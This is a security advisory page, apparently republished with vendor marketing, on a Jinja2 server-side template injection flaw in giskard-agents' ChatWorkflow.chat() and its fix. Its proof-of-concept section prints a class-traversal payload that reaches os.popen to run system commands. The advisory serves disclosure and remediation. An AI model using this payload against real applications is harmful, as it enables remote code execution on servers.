Summary
Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment
ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.
The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.
Root Cause
libs/giskard-agents/src/giskard/agents/workflow.py line ~261:
def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
if isinstance(message, str):
message = MessageTemplate(role=role, content_template=message)
The string becomes content_template, which is parsed by from_string():
libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:
def render(self, **kwargs: Any) -> Message:
template = _inline_env.from_string(self.content_template)
rendered_content = template.render(**kwargs)
The Jinja2 Environment is not sandboxed:
libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:
_inline_env = Environment(
autoescape=False,
# Not SandboxedEnvironment
)
Proof of Concept
from jinja2 import Environment
env = Environment() # Same as giskard's _inline_env
# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render()) # 342 accessible subclasses
# Full RCE payload (subclass index varies by Python version)
# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}
A developer building a chatbot:
workflow = ChatWorkflow(generator=my_llm)
workflow = workflow.chat(user_input) # user_input parsed as Jinja2 template
result = await workflow.run() # RCE if user_input contains {{ payload }}
Note: using .with_inputs(var=user_data) is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to chat().
Mitigation
Update to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.
The fix replaces the unsandboxed Jinja2 Environment with SandboxedEnvironment, which blocks attribute access to dunder methods and prevents class traversal chains. SandboxedEnvironment blocks access to attributes starting with _, preventing the __class__.__mro__ traversal chain.
Impact
Remote code execution on the server hosting any application built with giskard-agents that passes user input to ChatWorkflow.chat(). Attacker can execute system commands, read files, access environment variables.
Affects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
giskard-agents to 0.3.4 or later; giskard-agents to 1.0.2b1 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-34172? CVE-2026-34172 is a high-severity security vulnerability in giskard-agents (pip), affecting versions <= 0.3.3. It is fixed in 0.3.4, 1.0.2b1.
- Which versions of giskard-agents are affected by CVE-2026-34172? giskard-agents (pip) versions <= 0.3.3 is affected.
- Is there a fix for CVE-2026-34172? Yes. CVE-2026-34172 is fixed in 0.3.4, 1.0.2b1. Upgrade to this version or later.
- Is CVE-2026-34172 exploitable, and should I be worried? Whether CVE-2026-34172 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34172 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34172?
- Upgrade
giskard-agentsto 0.3.4 or later - Upgrade
giskard-agentsto 1.0.2b1 or later
- Upgrade